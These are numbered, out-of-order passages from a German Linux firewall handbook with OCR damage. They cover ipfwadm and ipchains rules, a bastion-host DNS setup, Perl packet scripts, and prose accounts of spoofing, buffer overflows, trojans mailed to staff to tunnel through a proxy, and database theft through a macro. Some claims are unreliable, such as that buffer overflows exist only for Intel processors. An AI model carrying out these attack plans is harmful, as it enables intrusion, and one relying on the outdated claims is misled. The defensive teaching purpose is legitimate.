483. on Grundbefehle erlernen Kompilierung von Quellcodes Danach ist es nur eine Frage von 2 3 Stunden aus der Datenbank den richtigen Exploit zu einem bestimmten Betriebssystem herauszusuchen diesen zu kompiliere n und anzuwenden LINUX und FreeBSD z B bieten auf einer Diskette ein vollst ndig lauff higes System mit allen Treibern f r Netzwerkkarten und Festplatten Es sind alle UNIX Befehle enthalten die Fileserver Client Funktionalit t f r NOVELL NT und UNIX Server ist nutzbar Eine Festplatte o ist somit nicht notwendig kann jedoch genutzt werden Es ist nun kein Problem mehr eine normale Arbeitsstation unter Windows 95 98 NT als Terminal f r Angriffe auf Server innerhalb eines Unternehmens zu mi brauchen ohne berhaupt die Festplatte zu nutzen Hat sich der Angreifer die Angriffswerkzeuge vorkompiliert so ist es einem Angreifer innerhalb 5 Minuten m glich von einer Arbeitsstation das Netz nach Pa worten zu durchsuchen und in einen Server einzudringen Auch DoS Angriffe auf Arbeitsstationen und Server sind innerhalb von Sekunden ausf hrbar jede Arbeitsstation im Netz stellt die Arbeit ein Das betrifft insbesondere gr ere Netzwerke mit Microsoft Arbeitsstationen unter 95 98 NT bis hin zu Netzwerkdruckern Etwas mehr Kenntnisse sollte man haben wenn man komplexere Angriffe durchf hre n m chte Hier sind bessere Kenntnisse mit PERL und seinen vielen Bibliotheken sowie viel Erfahrung in C vor allem mit der Programmierung von
484. on Angriffen m glich Z B kann ein gespooftes RST oder FIN Signal eines Angreifers daf r sorgen da die Verbindung zwischen Client und Server abbricht wenn einer der beiden Partner der Meinung ist da der andere die Verbindung unterbricht Hierzu mu der Angreifer nat rlich die IP Adresse der Partner f lschen spoofing Ebenso w rden gespoofte SYN s an die beiden Partner zu einer Endlosschleife f hren Ein DoS Angriff w re somit erfolgreich Daher wurde die Zustandsmaschine im Laufe der Zeit erweitert Eine Verbindung gilt nach RFC 1122 dann nur noch als beendet wenn sowohl Client und Server sich ber ein FIN Erstellt von Doc Gonzo http kickme to plugins geeinigt haben In diesem Falle d rfen weder von Client oder Server keine ACK Pakete mehr gesendet werden Ein Angreifer m te dann sowohl an den Client als auch an den Server ein FIN oder RST senden um die Verbindung zu unterbrechen Der TCP IP Stack mu te daher wieder um eine Kleinigkeit erweitert werden Falls noch Datenpakete mit ACK zwischen Client und Server ausgetauscht werden kann also ein RST oder FIN von einem der beiden Beteiligten nicht tats chlich stammen Solange wie ACK Pakete auf einem der Hosts eintreffen wird ein RST oder FIN nicht als Verbindungswunsch akzeptiert Da der aber auch noch den Austausch von Paketen mit ACK zwischen Server und Client verhindern m te damit die gespooften RST oder FIN Pakete bei Client und Server akzeptiert w rd
485. on Host UDP 53 53 Aktion zulassen 2 Bastion Host TCP gt 1023 53 Aktion zulassen ACK beliebig 3 Server UDP 53 53 Aktion zulassen 4 Server TCP 53 gt 1023 Aktion zulassen ACK gesetzt Erstellt von Doc Gonzo http kickme to plugins 5 Server TCP gt 1023 53 Aktion zulassen ACK beliebig 6 Bastion Host TCP 53 gt 1023 Aktion zulassen ACK gesetzt Einrichtung des bastion hosts als DNS Server Damit ein Angreifer keinerlei Information Uber das interne Netzwerk erf hrt wird der bastion host so konfiguriert da er falsche Informationen Uber das interne Netzwerk liefert jedoch korrekte Informationen ber alle von au en sichtbaren und erreichbaren Hosts Daf r wird dann intern ein unabh ngiger DNS Server aufgesetzt der die richtigen Informationen ber interne und externe Adressen des Netzwerk besitzt Beide DNS Server insbesondere der externe DNS Server mu gut gegen Anfriffe abgesichert sein da er die Eintr ge f r Mail Server MX des Unternehmens nach au en hin tr gt Werden diese ver ndert so k nnen von au erhalb keine e Mails mehr empfangen werden diese werden evtl an einen beliebigen Server im Internet vom Angreifer umgeleitet Damit kein Angreifer eine falsche IP Nummer vort uschen kann sollte der bastion host und der interne DNS Server stets ein double reverse lookup durchf hren Hierbei wird die IP Adresse ber reverse lookup in den Namen und der Name wieder in die IP Nummer aufgel st Stimmen die Ergebnisse ni
486. onen und die Replikationsmechanismen genau ablaufen 13 Einbruch in die Datenbank durch trojanische Pferde ODBC ACCESS Unsichere Clients siehe oben sind der Hauptgrund f r erfolgreiche Einbr che in Datenbanken Wer sich einmal die Makroviren MELISSA amp Co genau anschaut der wird feststellen da hiermit auch Makro s f r ACCESS gestartet werden k nnen Ein Makro in einer E Mail kann somit die Datenbank mit LOAD DATA LOCAL INTO OUTFILE Siehe Handbuch MySQL ins Internet versenden Microsoft nennt es Feature andere nennen es eine Katastrophe 14 Einbruch in den Datenbankserver ber andere Sicherheitsl cken F r Datenbanken mu im Prinzip das selbe gelten wie f r Firewalls Keine anderen Dienste auf dem Server R 15 Aussp hen der Daten bei der Ubertragung ber das Netzwerk ACCESS Wer das typische Man In The Middle MITM Problem kennt der kann sich vorstellen da man mit einem Sniffer am Netzwerkstrang im Laufe der Zeit fast alle Eintr ge in der Datenbank passieren sehen kann 16 Zugriff mit gespoofter IP nach der Pa wort Authentifizierung ist ein recht h ufiges Problem Es wird session stealing hijacking genannt Ein User authentifiziert sich an der Datenbank t tigt Abfragen Ein benachbarter Host kontaktiert sich mit gespoofter IP Nummer an diesen Host und t tigt seine eigenen Abfragen ohne jedoch nocheinmal authentifizieren zu m ssen Einfacher geht s kaum noch Wer sich die einfachen Beispiele
487. onzo http kickme to plugins e GOPHER Datenbanken e SQL Datenbanken 14 7 Kontrolle aus UDP und TCP kombinierter Dienste DNS Domain Name Service NFS Networking File Service auch AFS REALVIDEO REALAUDIO NETMEETING VIDEOKONFERENCING H 323 14 8 Einsatz erweiterter dynamischer Firewallregeln e Limitierung der Anzahl der Verbindungen e Timeout f r dynamische Regeln Z hler und Variablen e Kombinierbarkeit z B von HTTP Events mit FTP Freischaltung Registrierung e SPY Funktion zur Erkennung von Angriffen und Start von Programmen counter intelligence 14 9 LOG Eigenschaften Die SINUS Firewall unterst tzt verschiedene sehr fortgeschrittene LOG Level Verhalten bei Angriffen WARN ALARM INFORM STOP Benachrichtigung und STOP bei zuwenig Plattenplatz Kooperation mit beliebigen Log Servern UNIX NT NOVELL Beliebige Anpassung der Logmeldungen f r HAYSTACK ARGUS NFR Vermeidung von Mehrfach Eintr gen in Logdateien Flooding Aufzeichnung der TCP Header zur Klassifizierung des Angriffs 14 10 Interne Architektur des TCP IP Stacks Vollst ndige eigene Zustandsmaschine Steuerung durch Events Schutz gegen SYN Flooding Vollst ndige berpr fung der TCP Sequence Nummern auch bei RST und FIN RFC 1122 half duplex TCP Verbindungen nicht m glich Timer f r FIN Segmente Erkennung von verbotenen TCP Flag Kombinationen nastygrams Unterdr ckung von RST bei source routed Paketen mit falschen SS
488. orsysteme verhindern funktionieren nicht auf Mehrprozessorsystemen Der Grund liegt in der Verwaltung des TCP IP Stacks mit vielen Threads was zu ungeheuren programmiertechnischen Schwierigkeiten f hrt Daher sind viele TCP IP Stacks nicht mehrprozessorf hig auch wenn die Werbung behauptet das ganze Betriebssystem w re f r mehrere Prozessoren ausgelegt Diese Schwierigkeiten wurden z B unter hoher Last bei Solaris NT mit ATM Karten an der Universit t zu K ln von Axel Clauberg festgestellt und ver ffentlicht 23 3 Buffer overflow Angriffe Themen e Ziele von Angreifern Erstellt von Doc Gonzo http kickme to plugins Ursachen von buffer overflows Funktionsweise Security Scanner Updates gegen buffer overflows Buffer overflows geh ren mit zu den gef hrlichsten Angriffen berhaupt Betroffen sind vornehmlich Internet Server WWW DIAL IN Router PROXY Caches Newsserver Mailserver FAX Server SQL Server SSL Server und viele Sicherheitsprogramme wie z B PPTP SSH Zunehmend benutzen Angreifer buffer overflows auf Angriffe von Servern in Unternehmen Grund sind mangelhafte L ngenabfragen bei den an ein Programm bergebenen Daten Hat ein Programm eine bestimmte Anzahl von Bytes f r z B die Annahme eines Pa wortes oder einer URL http www xyz de index asp Names text reserviert so f hrt die bergabe eines berlangen Strings zu einer Schutzverletzung in der Speicherverwaltung des Servers Clients Ein Angrei
489. ost my site lan insert your site here size 1500 tout 30 pcap a gt pcapinit device filt size tout i 0 if fork loop pcap 1 a else sleep 2 for a gt set icmp gt sequence gt i data gt timem a gt send 1 1 i sub dmp my time timem a gt bset substr _ 2 14 my ar a gt get ip gt qw ttl icmp gt qw sequence data printf u bytes from s icmp_seq u ttl u time 5 1f ms n length ar 2 8 SARGV 0 ar 1 ar 0 time ar 2 1000 Das folgende Skript ist v llig harmlos es fragt nur die Flags des TCP Stacks ab Sie k nnen es dazu verwenden das Betriebssystem hinter einer Firewall zu bestimmen allerdings nur wenn diese keinen eigenen TCP IP Stack besitzt bzw die Pakete als Stateful Paket Filter SPF einfach nur an die andere Seite durchreicht Probieren Sie einfach einmal einige FTP Server aus und Sie werden bemerken wie unterschiedlich Firewalls arbeiten und sozu sie eventuell nicht taugen sondern einfach nur viel Geld kosten usr bin perl Simple script for educational purposes It prints to STDOUT flags tcp packets from ftp server and client use Net RawIP require getopts pl Getopts i d n die Usage 0 i lt ftp server gt d lt eth device gt n lt number packet for receive gt unless opt_d amp amp opt_d amp amp opt_n print Now please login to your
490. otokollen 19 Firewall mit bastion host und DMZ 19 1 Innere Firewall mit bastion host und Grenznetz 19 2 Au ere Firewall mit bastion host und Grenznetz 19 3 Einrichtung des bastion hosts 20 Firewall mit Screened Host Architektur 21 Firewall Tuning 21 1 Einsatz bei ISP s 21 2 Einsatz in Intranets 21 3 Einsatz als Firewall Router 21 4 Firewall Router mit SQUID Proxy Erstellt von Doc Gonzo http kickme to plugins 21 5 ATM Netzwerke mit LINUX Firewalls 21 6 Verbrauch an CPU Zyklen pro Paket 21 7 Tuning der TOS Bits in TCP IP Paketen 22 Grundlagen zur Installation von Linux 22 1 Kompilierung des Kernel 22 2 Einspielen von Patches und Updates 22 3 LILO der Bootmanager 22 4 Konfiguration der Netzwerk Interfaces 22 5 DNS Adressen 22 6 Absicherung von Servern mit chroot 22 7 Warum Filter anf llig gegen buffer overflows sind 22 8 Installation von Servern mit CHROOT 22 9 Kurzeinf hrung CHROOT f r WWW Server 23 Hackers Guide oder was man ber Cracker wissen mu 23 1 Firewalls eine Beschreibung der Eigenschaften 23 2 Angriffe auf den TCP IP Stack 23 3 Buffer overflow Angriffe 23 4 Zeitaufwand und Einbruchswerkzeuge 23 5 Einarbeitungszeiten in Angriffswerkzeuge 23 6 Beispiele Angriffe auf Firewalls 23 7 Angriffe auf Application Level 23 8 Wie wird ein Angriff verborgen 23 9 Blinde Angriffe blind attacks 23 10 Zeitversatz zwischen Angriffen und die Analyse von Logfiles 23 11 Wie schnell
491. ource routing und spoofing erfordern sind somit schon einmal erschwert Soweit zu den Chancen die Firewall direkt anzugreifen Viel kommunikationsfreudiger sind die Mitarbeiter die E Mail Anschlu haben Sie freuen sich ber jeden neuen Gru eine kleine Animation einen Weihnachtsmann ein Spiel einem trojanischen Pferdchen z B o Da Attachments in dieser Firma nicht heraus gefiltert werden sollte klar sein wie z B ein Tunnel aufgebaut werden kann Von einer beliebigen internen IP Adresse ber Port 8080 des Internetgateways Das Unternehmensinterne routing wird den Weg schon finden Was der Angreifer nun nachprogrammieren mu ist ein Tunnelprogramm welches mit dem PROXY Mechanismus des Gateways Port 8080 kommuniziert und die Eigenschaften von NetBus oder BO besitzt Danach wird es mit einem Spiel versehen und an alle Mitarbeiter des Unternehmens verschickt die surfen d rfen Nachdem die wichtigsten Werkzeuge schon geschrieben sind m ssen nur noch ein paar Tage investiert werden um ein allgemein anwendbares Werkzeug zur Verf gung zu haben Auch ein Angriff auf Anwendungsebene w rde hier aber u erst erfolgreich sein E Mails mit Attachments Weihnachtsgr e o kommen stets an Ein Angreifer mu nur irgendeinen Dummen aus dem Bereich Sekretariat oder Verkauf nach seiner E Mail Adresse fragen und schon l t sich ein trojanisches Pferd genau plazieren Der offene Port 8080 der existiert jedoch von Au en
492. outer Da er nichts ungew hnliches bemerkt f hrt er beruhigt um 18 00 Uhr nach Hause Erstellt von Doc Gonzo http kickme to plugins Welche anderen Informationen h tte der Angreifer erhalten k nnen HTTP_USER_AGENT Mozilla 4 06 de C QXW0310E WinNT D HTTP_ACCEPT image gif image x xbitmap image jpeg image pjpeg image png KK HTTP_ACCEPT_ENCODING gzip Es h tte sich nichts ge ndert der o a Angriff w re auch so erfolgreich gewesen Trotz des Einsatzes von NT Netscape 4 06 h tte wegen eines BUGS in JAVASCRIPT es dem Angreifer erm glicht den CACHE auszulesen um festzustellen wohin der Mitarbeiter gerne surft Ein neuer Angriff hier die Daten REMOTE_ADDR 195 211 212 134 REMOTE_HOST 195 211 212 134 HTTP_USER_AGENT Microsoft Internet Explorer HTTP_ACCEPT image gif image x xbitmap image jpeg image pjpeg image png x HTTP_ACCEPT_ENCODING gzip HTTP_ACCEPT_CHARSET iso 8859 1 utf 8 HTTP_X_FORWARDED_FOR 192 168 99 5 HTTP_VIA 1 0 fv router firma de 8080 Squid 2 1 RELEASE Was liest ein Angreifer hieraus Im Gegensatz zur vorgergehenden Netzwerkanbindung ist hier der Systemadministrator offensichtlich sehr engagiert und viel erfahrener in Netzwerktechnik Woran sieht man das HTTP_USER_AGENT Microsoft Internet Explorer ist eine Irref hrung des Squid 2 1 ber die verwendeten Browser im Netz Die Information HTTP_X_FORWARDED_FOR zeigt da hier auf einem LINUX Router wahrschein
493. ows bei der Parameter bergabe an die brigen Befehle nicht verhindern Sie behelfen sich daher mit einer pauschalen L ngenbegrenzung f r bergebene Parameter die aber meist so gro gew hlt wurde da in der Praxis keine Probleme mit Datenbanken u s w gibt Da buffer overflows recht kurz sein k nnen ist diese Filterung kein Garant Firewalls insbesondere SPF s sind vor ihrer Architektur her nicht daf r geeignet Fehler in Betriebssystemen vor Angreifern abzuschirmen obwohl sie es nach entsprechender Programmierung mit Hilfe einer leistungsf higen Programmiersprache k nnen F r Firewall 1 z B lassen sich diese Filter nachr sten sie m ssen aber teuer bezahlt werden stammen aber alle aus der knowledge base f r H ndler von Checkpoint in Israel Preisverleiche lohnen sich daher Neuentdeckte Fehler in Betriebsystemen hinter einer Firewall z B Windows NT 4 0 und IIS WWW Server m ssen erst auch bei dem Hersteller der Firewalls erkannt und in Filter einprogrammiert werden Bis dann ein Update erfolgen kann ist mitunter mindestens eine Woche vergangen F r Betreiber von mission critical Systemen ist diese Zeit viel zu lange Mit Hilfe der Werkzeuge von Darren Reed IPFILTER gelingt es binnen weniger Stunden den Fehler mitzuprotokollieren und zu analysieren Die Programmierung eines Filters z B mit PERL ist dann nur noch eine Aufgabe der Anpassung bestehender Filter Wer mehr bedarf an L sung dieser Probleme hat sollte sich d
494. p TCP s 0 0 0 0 0 ftp data d LOCALIP 6010 j ACCEPT ipchains A ppp in p TCP d LOCALIP ftp j ACCEPT Erstellt von Doc Gonzo http kickme to plugins Zum Schlu erlaube ich alle Pakete vom Host an den Host selber damit alle Programme wie X Windows SMTP PING auch korrekt laufen ipchains A input i lo ACCEPT Nun f ge ich die default policy f r die input chain hinzu Diese ist DENY soda alle Pakete verworfen werden ipchains P input DENY Anmerkung Ich w rde die chains nicht in dieser Reihenfolge aufsetzen da ansonsten Pakete die Firewall passieren k nnten w hrend des Setups der Regeln Also sollte man zuerst die Policy festlegen und danach die Regeln und chains aufsetzen Jedoch k nnte dies zu Problemen f hren wenn ipchains beim Aufsetzen der Regeln DNS Lookups ausf hren mu um die Hostnamen aufzul sen Der Befehl ipchains save Das Aufsetzen der Regeln kann einfach so per Hand erfolgen Wenn man sich jedoch sp ter an die Regeln oder die Reihenfolge erinnern mu dann wird es schwierig ipchains save ist ein Skript welches die aktuellen Regeln ausliest und diese in ein File sichert ipchains save ist in der Lage eine einzige chain zu speichern oder auch alle chains gleichzeitig wenn keine chain angegeben wird Die einzige Option die hier erlaubt ist ist v welche daf r sorgt da die Regeln und eventuelle Fehlermeldungen an stderr ausgegeben werden Die Polici
495. pfwadm O p deny 3 ipfwadm F p deny Das loopback Interface 4 ipfwadm I a accept W LOOPBACK 5 ipfwadm O a accept W LOOPBACK Erlaube ein und ausgehenden Verkehr 6 ipfwadm I a accept W LOKALES_INTERFACE S INTRANET 7 ipfwadm O a accept W LOKALES_INTERFACE D INTRANET Erlaube Internet Datenaustausch mit einem Host aus dem Intranet 8 ipfwadm O a accept W EXTERNES_INTERFACE S INTRANET 9 ipfwadm I a accept W EXTERNES_INTERFACE S INTRANET Forwarding von Paketen von LOKALES_INTERFACE an EXTERNES_INTERFACE 10 ipfwadm F a W EXTERNES_INTERFACE S INTRANET In Regel 6 und 7 finden sich weitere Parameter Der Parameter S in Regel 6 besagt daB die Pakete mit Quelladresse S Source aus dem Intranet auf das LOOPBACK INTERFACE zugreifen d rfen In Regel 7 ist der Parameter D daf r da um die Zieladresse D Destination zu bestimmen Normalerweise m te man immer genau angeben von wo und nach wo Wenn aber einer der Parameter S oder D weggelassen wird dann ist in Gedanken immer ein S 0 0 oder ein D 0 0 hinzuzuf gen Alternativ kann man auch 0 0 0 0 statt 0 0 schreiben Dies ist der Ersatz f r von berall oder nach berall Die Regel 6 m te also genau hei en 6 ipfwadm I a accept W LOKALES_INTERFACE S INTRANET D 0 0 0 0 oder 6 ipfwadm I a accept W LOKALES_INTERFACE S INTRANET D 0 0 Alle drei Schreibweisen sind identisch 9 8 SPOOFING Es ist nun alles verbot
496. pierct 24 Trojanische Pferde der gemeinen Art F r die Sicherheit eines Unternehmens ist es enorm wichtig da keinerlei Informationen ber die Firewall in das Internet versendet werden Schwierig wird es wenn man Anwendungsprogramme danach beurteilen soll ob und wie sie Informationen ber z B den WWW Proxy oder das e Mail Gateway in das Internet versenden Grundlage ist stets die Vertrauensw rdigkeit der Softwarequelle Wie im Januar 1998 aufgedeckt wurde hat ein Cracker in die Site von Wietse Venema der Universit t Eindhoven eingebrochen und den TCPWRAPPER ein wichtiges Sicherheitswerkzeug zur Absicherung von vielen UNIX Derivaten mit einem schwierig zu entdeckendem Zugangstor zum System versehen Der Cracker h tte sich somit stets als Supervisor in das System einloggen k nnen Leider wurden auch die Pr fsummen MD5 mit angepa t soda auch die bliche berpr fung des MD5 Schl ssels keine Sicherheit mehr h tte garantieren k nnen Nur der Autor des Programmes war in der Lage diesen Einbruch und die Ver nderungen zu entdecken Da beim Download aus dem Internet f r einen Systemadministrator weder erkennbar ist ob und wie der WWW Server abgesichert ist und ob deren Inhalte auch unversehrt sind Erstellt von Doc Gonzo http kickme to plugins sollte man stets sehr mi trauisch gegen ber Downloads von Software aus dem Internet sein Ein gutes Beispiel ist z B der DFN CERT http www cert dfn de der stets den Serv
497. plugins Unlimited traffic within the local network sbin ipfwadm I a accept V INTERNALIP S NETWORKIP D ANYWHERE Deny spoofed packets and log denied requests sbin ipfwadm I a deny V EXTERNALIP S NETWORKIP D ANYWHERE o Target for SERVICES in echo TCP_ALLOWIN do sbin ipfwadm I a accept P tcp V EXTERNALIP S ANY WHERE PORTS D EXTERNALIP SERVICES o done Return for SERVICES in echo TCP_ALLOWOUT do sbin ipfwadm I a accept P tcp S V EXTERNALIP ANYWHERE SERVICES D EXTERNALIP PORTS o done Allow ping requests sbin ipfwadm I a accept P icmp V EXTERNALIP S ANYWHERE D EXTERNALIP o DNS sbin ipfwadm I a accept P udp V EXTERNALIP S ANYWHERE D EXTERNALIP sbin ipfwadm I a accept V LOOPBACK S ANYWHERE D ANYWHERE Log the rest sbin ipfwadm I a deny S ANYWHERE D ANYWHERE o Flush previous rules sbin ipfwadm O f Set default policy to deny sbin ipfwadm O p deny Unlimited traffic within the local network sbin ipfwadm O a accept V INTERNALIP S ANYWHERE D NETWORKIP Logging sbin ipfwadm O a deny V EXTERNALIP S ANYWHERE D NETWORKIP o sbin ipfwadm O a deny V EXTERNALIP S NETWORKIP D ANYWHERE o Target for SERVICES in echo STCP_ALLOWOUT do sbin ipfwadm O a accept P tcp S EXTERNALIP PORTS
498. port 87 link port 95 supdup notification_level 99 block options loose_source_route strict_source_route all notification_level 13 omit some more RIP statements detect secondary routes to the internet block rip from inside notification_level 12 Erstellt von Doc Gonzo http kickme to plugins omit some more statements having notification level 0 Permit incoming FTP requests to our FTP server only accept tcp to 130 59 4 16 port 21 notification_level 1 Permit incoming Telnet requests to our Telnet Login Server only accept tcp to 130 59 4 16 port 23 notification_level 2 accept all from 127 0 0 1 to 127 0 0 1 notification_level 0 block all other TCP connection requests and trigger the alarm block tcp notification_level 99 notification level 1 log all permitted incoming FTP connection requests message FTP connection request level 2 log all permitted incoming Telnet connection requests message Telnet connection request level 3 log all permitted incoming WWW connection requests message WWW connection request level 11 message ICMP redirect received level 12 message There may be a secondary route to the internet level 13 message IP packet with source route option detected let sr sourcehost sr sourcehost 1 timeout 300 if sr sourcehost 1 then message IP packet with source route option detected spy endif level 99 message Ille
499. r selber ist nicht empfindlich da er ja nur Pakete auf einem Netzwerkinterface entgegennimmt und nach einer Inspektion diese weiterleitet oder verwirft Problematisch ist stets die Administration aus der Ferne Probleme die z B bei SSH oder PGP aufgetreten sind zeugen davon da auch D monen die eigens f r starke Verschl sselung und Authentifizierung programmiert wurden anf llig gegen buffer overflows sind Jede Art Fernadministration ist mit einem Risiko verbunden Firewalls die remote ber WWW Browser mit SSL Verschl sselung administriert werden sind evtl verletzbar Das Sicherheitsproblem k nnte dann beim WWW Server liegen Um sicherzugehen sollte auf einer Firewall neben dem Firewall Programm und dem dazugeh rigen Konfigurationsprogramm kein anderer Dienst oder Programm aktiviert sein Dazu geh rt auch die remote Administration Es gibt allerdings auch Firewalls die SPLIT DNS Dienste und SMTP Dienste anbieten keine PROXY s Prinzipiell ist auch hier ein buffer overflow m glich Aus diesem Grunde sollten stets mehrere Firewalls von unterschiedlichen Herstellern zum Einsatz kommen Wie entdecke ich einen Angriff mit buffer overflow Ein Angriff mit buffer overflow ist nicht zu entdecken da er im Idealfall nur ein paar APAPAP oder andere wirre Buchstaben in Logfiles hinterl t Diese Relikte werden von allen Angreifern die mir bisher untergekommen sind beseitigt Ein Einbruch kann nur bemerkt werd
500. r 22 ipfwadm I a accept P tcp W EXTERNES_INTERFACE S ANYWHERE UNPRIVPORTS D IPADDR 22 ipfwadm I a accept P tcp W EXTERNES_INTERFACE S ANYWHERE SSH_PORTS D IPADDR 22 SSH client 22 ipfwadm I a accept P tcp k W EXTERNES_INTERFACE S ANYWHERE 22 D IPADDR UNPRIVPORTS ipfwadm I a accept P tcp k W EXTERNES_INTERFACE S SANYWHERE 22 D IPADDR SSH_PORTS TELNET server 23 ipfwadm I a accept P tcp W EXTERNES_INTERFACE S ANYWHERE UNPRIVPORTS D IPADDR 23 TELNET client 23 ipfwadm I a accept P tcp k W EXTERNES_INTERFACE S ANYWHERE 23 D IPADDR UNPRIVPORTS HTTP server 80 ipfwadm I a accept P tcp W EXTERNES_INTERFACE S ANYWHERE UNPRIVPORTS D IPADDR 80 HTTP client 80 ipfwadm I a accept P tcp k W EXTERNES_INTERFACE S ANYWHERE 80 D IPADDR UNPRIVPORTS HTTPS client 443 ipfwadm I a accept P tcp k W EXTERNES_INTERFACE S ANYWHERE 443 D IPADDR UNPRIVPORTS WWW CACHE client typical ports are 8000 or 8080 ipfwadm I a accept P tep k W EXTERNES_INTERFACE Erstellt von Doc Gonzo http kickme to plugins S WEB_PROXY_SERVER D IPADDR UNPRIVPORTS POP client 110 ipfwadm I a accept P tcp k W EXTERNES_INTERFACE S POP_SERVER 110 D IPADDR UNPRIVPORTS NNTP NEWS client 119 ipfwadm I a accept P tcp k W EXTERNES_ INTERFACE S NEWS_SE
501. r Ereignisse die an den Systemadministrator gemeldet werden m ssen Da bei dieser Konfiguration kein Abgleich zwischen Logfiles von innerer und u erer Firewall erfolgen kann ist also hier besondere Aufmerksamkeit erforderlich Es ist von einer solchen Konfiguration abzuraten da sie keinerlei Sicherheitsreserven bieten kann Regel Richtung Quell IP Ziel IP Prot Quellport Zielport ACK Aktion SPOOF ein intern bel bel bel bel bel verbieten TEL1 aus intern bel TCP gt 1023 23 bel zulassen TEL2 ein bel intern TCP 23 gt 1023 ja zulassen Erstellt von Doc Gonzo http kickme to plugins FTPI aus intern bel TCP gt 1023 21 bel zulassen FTP2 ein bel intern TCP 21 gt 1023 ja zulassen FTP3 aus intern bel TCP gt 1023 gt 1023 bel zulassen FTP4 ein bel intern TCP gt 1023 gt 1023 ja zulassen SMTPI aus Service bel TCP gt 1023 25 bel zulassen SMTP2 ein bel Service TCP 25 gt 1023 ja zulassen SMTP3 ein bel Service TCP gt 1023 25 bel zulassen SMTP4 aus Service bel TCP 25 gt 1023 ja zulassen NNTP aus Server NNTP TCP gt 1023 119 bel zulassen NNTP2ein NNTP Server TCP 119 gt 1023 ja zulassen NNTP3 ein NNTP Server TCP gt 1023 119 bel zulassen NNTP4 aus Server NNTP TCP 119 gt 1023 ja zulassen HTTPI1 aus Service bel TCP gt 1023 bel bel zulassen HTTP2 ein bel Service TCP bel gt 1023 ja zulassen DNS1 aus Service bel UDP 53 53 zulassen DNS2 ein bel Service UDP 53 53 zulassen DNS3 ein bel Service UDP bel 53 zul
502. r da stets die Patches oder Service Packs aufgespielt werden Am wenigsten Ausf lle sind also bei gut und gewissenhaft betreuten Systemen zu beklagen Ganz sicher h tte aber der Einsatz von LINUX mit einem anderen Prozessor z B MIPS oder ARM den Angriff vereitelt Buffer Overflows sind n mlich speziell auf den Intel Prozessor zugeschnitten Anpassungen f r andere Prozessoren findet man nie Der Systemadministrator hat also immer etwas mehr Zeit die Security Patches einzuspielen Einige der von mir betreuten LINUX Server die mit SPARC MIPS DEC ALPHA oder ARM Prozessoren laufen wurden schon h ufiger angegriffen allerdings niemals erfolgreich Aus ca 150 bekannten und in Log Dateien registrierten Angriffen kann ich nun absch tzen da ich auf den Intel basierten Servern ca 95 aller Einbr che nicht bemerkt habe peinlich L sungen f r Sicherheitsprobleme Angriff mit einem Visual Basic Makro Siehe hierzu das Unterkapitel DoS Angriff mit einem Visual Basic Makro Ein Unternehmen mit Internet Adresse aber ohne Firewall Zahlreiche Unternehmen besitzen eine E Mail Adresse jedoch keinen WWW Server oder Firewall Sie rufen die E Mails ber einen T Online Account oder einen Account bei AOL ber einen Arbeitsplatzrechner ab Es gibt Firmen die auf vielen Arbeitspl tzen ISDN Karten installiert haben um so Bandbreitenprobleme zu vermeiden und einen Faxserver einzusparen Ein m glicher gezielter Angriff erscheint
503. r Konvention die Adresse 192 168 0 2 vorgesehen Die IP Nummer 192 168 0 1 sollte dem Netzwerkkarten Anschlu des Routers vorbehalten bleiben Die Netzwerkadresse 192 168 0 0 bezeichnet somit ein Transfernetz Damit Arbeitsstationen im Netz sich untereinander verst ndigen und gleichzeitig ber die Firewall Pakete in das Internet versenden k nnen ist an jeder Arbeitsstation die Firewall mit der Adresse 10 0 0 1 als Gateway einzutragen Ein Gateway wird immer dann eingetragen wenn es darum geht zu entscheiden ob die Pakete im Netz bleiben oder in andere Netze geroutet werden Die Route gibt an welche Pakete mit welcher Netzwerknummer in welches Interface zu schicken sind Alle anderen folgen der default route 22 5 DNS Adressen Die IP Nummern der zust ndigen DNS Server werden aus der Datei etc resolv conf ausgelesen Diese k nnen auch zur Laufzeit ver ndert werden Wichtig sind die Adressen in der Datei etc hosts 127 0 0 1 localhost loopback 10 0 0 1 local domain 10 0 0 2 arbeitsstation name Hier werden die Namen und Kurzbezeichnungen f r die Firewall selber und alle Arbeitsstationen eingegeben Bei Nichtbeachtung dieser Empfehlung und falschen Eintr gen im DNS Server wird eventuell unn tig die die ISDN Verbindung ge ffnet Die Eintr ge erm glichen es auch sp ter bequem ablesen zu k nnen wer wieviel Pakete bertragen hat ipfwadm Al Nun kann das Skript ete rc d rc firewall gestartet werden um die Firewall sch
504. r ansprechbar und ber welches Interface sendet er irgendwelche Pakete Die Frage ist eindeutig zu beantworten wenn man sich die Ausgabe von netstat a anschaut Proto Recv Q Send Q Local Address Foreign Address State tcp 1 Otunix intra net www www intra net 1365 ESTABLISHED tcp 0 Owww intra net 1365 tunix intranet www ESTBLISHED tcp 0 0 6000 Hake LISTEN tcp 0 0 3128 2 LISTEN tcp 0 0 auth Hike LISTEN tcp 0 0 pop3 nae LISTEN tcp 0 0 login sh LISTEN tcp 0 0 ftp nn LISTEN tcp 0 0 sunrpc En LISTEN Man sieht da von tunix intra net eine WWW Verbindung zu www intra net und umgekehrt besteht ESTABLISHED Diese Verbindung liegt auf Port 1365 Wie kann das wo doch allgemein bekannt ist da eine WWW Verbindung auf Port 80 erreichbar ist Nun die Antwort ist etwas komplizierter Selbstverst ndlich wird zuerst eine Verbindung auf Port 80 ge ffnet W rden aber beide Partner nun ber diesen Port weiter kommunizieren so k nnte weder eine zweite Verbindung zwischen den beiden aufgebaut werden noch k nnte ein dritter Host auf den Port 80 einer der beiden Hosts zugreifen Genaugenommen wird aus IP Nummer und Portnummer ein sogenannter HASH Wert f r jede TCP IP Verbindung errechnet an denen sich die Kommunikationspartner wiedererkennen auch wenn z B ein WWW Server viele tausend simultane Kommunikationspartner gleichzeitig abzuarbeiten hat Damit z B der Server weiterhin noch f r andere Hosts erreichbar ist verabreden
